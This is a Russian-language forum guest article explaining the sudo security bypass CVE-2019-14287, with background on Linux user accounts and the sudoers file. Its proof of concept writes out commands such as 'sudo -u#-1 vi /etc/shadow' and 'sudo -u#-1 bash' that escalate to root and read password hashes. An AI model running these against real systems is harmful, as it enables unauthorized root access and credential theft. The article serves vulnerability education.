• Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

Гостевая статья Уязвимость обхода безопасности SUDO - CVE-2019-14287

Уязвимость обхода безопасности SUDO - CVE-2019-14287.png


Детали уязвимости:
  • Дата выхода: 14 октября 2019 г.
  • CVE ID: CVE-2019-14287
  • Затронутые версии: версии до <= 1.8.28
Краткое описание уязвимости
Уязвимость обхода политики безопасности, которая позволяет пользователям в системе Linux выполнять команды от имени пользователя root, а пользовательские разрешения в файле sudoers явно запрещают запуск этих команд от имени пользователя root.

Он может быть выполнен пользователем, имеющим ВСЕ разрешения в спецификации Runas. Это означает, что они могут выполнять команды от имени любого или всех пользователей системы.

Следовательно, это позволяет пользователям запускать команды и инструменты от имени пользователя root, указав идентификатор пользователя ( UID ) в виде -1 или эквивалент без знака -1: 4294967295

sudo -u # -1 / usr / bin / id
или эквивалент без знака -1 sudo -u # 4294967295 / usr / bin / id

Объяснение эксплойта

Что такое sudo?
sudo - это команда, которая позволяет запускать сценарии или программы, требующие прав администратора. Это означает супер пользователя сделать.

Вы также можете использовать команду su (switch user) для переключения суперпользователя.

Как проверить версию sudo?
Код с оформлением (BB-коды):
sudo –version or sudo –version | grep version


Как информация о пользователе хранится в Linux

У каждой учетной записи пользователя есть имя пользователя, уникальный идентификатор (UID), группа (GID), домашний каталог и оболочка по умолчанию, которые будут использоваться при входе пользователя в систему.

Вся информация, относящаяся к учетной записи пользователя, хранится в файле passwd, расположенном в / etc / passwd

Пароли в файле passwd зашифрованы и поэтому представлены знаком x.

Зашифрованные пароли для учетных записей хранятся в теневом файле, расположенном в / etc / shadow .
Доступ к теневому файлу возможен только пользователю root.

Структура учетной записи пользователя
Код с оформлением (BB-коды):
username:password:UID:GID:comments:home_directory:shell

Первый пользователь в файле passwd является учетной записью root

У учетной записи root всегда есть UID 0

Системные учетные записи имеют UID менее 1000, в то время как учетные записи пользователей имеют UID> = 1000

Файл sudoers
Файл sudoers содержит все разрешения для пользователей и групп в системе Linux. находится в / etc / sudoers

К файлу sudoers можно получить безопасный доступ и изменить его с помощью visudo.

visudo - это инструмент, который позволяет вам безопасно получать доступ к файлу sudoers и вносить в него изменения, он делает это, гарантируя, что только один пользователь редактирует файл sudoers, и проверяя наличие логических ошибок.

Мы будем использовать visudo для демонстрации эксплойта.

POC
Это будет зависеть от прав пользователя в отношении команд, указанных в файле sudoers.

Требования:
  • Пользователю требуются привилегии sudo, которые позволяют запускать команды с идентификаторами пользователя - мы настроим это в файле sudoers
  • версия sudo <= 1.8.28

1. Создать пользователя в системе.
2. Измените файл sudoers с помощью visudo.
3. Предоставьте пользователю привилегии sudo и укажите команды, которые можно запустить.
Код:
alexis ALL=(ALL, !root) /usr/bin/vi

4. Можно также указать псевдоним команды.
Код:
Cmnd_Alias VIM = /usr/bin/vi

5. После настройки разрешений, войдите в систему под именем пользователя alexis и выполните команду:
Код:
sudo -u#-1 vi /etc/shadow

6. Чтобы подтвердить это, попробуйте запустить его без указания UID.
Код:
sudo vi /etc/shadow

Это подтверждает, что UID -1 обходит разрешения и разрешает выполнение команды.

Это также можно подтвердить с помощью команды id.

7. Если пользователь может выполнить любую команду, то мы можем получить bash оболочки как root user
Код:
alexis ALL=(ALL, !root) ALL

sudo -u#-1 bash

—————
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!